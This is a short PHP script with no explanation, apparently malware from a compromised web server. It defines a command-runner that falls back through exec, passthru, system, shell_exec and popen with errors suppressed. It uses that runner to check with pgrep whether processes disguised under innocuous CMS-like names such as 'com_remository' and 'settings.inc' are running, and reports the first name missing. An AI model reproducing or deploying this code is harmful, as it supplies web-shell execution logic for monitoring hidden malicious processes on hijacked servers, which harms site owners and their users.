<?php   $files = ['russian.lng','syntaxhighlight','prova_java_php','editCourseLinks','cookie.auth.lib','mod_stats','thumbs_up','folderlist','thumbnails','GoogleSpell','attachments','com_remository','settings.inc','DisplayLinkURI','changepass','disclaimer','functions_admin','advcache','referral_view','class.ezpdf','configoption','scheduler','uploadbplan','UnderAdvElect','faq_email_conf','admin.banners','imatgelogin','removeFields','phocagalleryi','googlecart']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; } 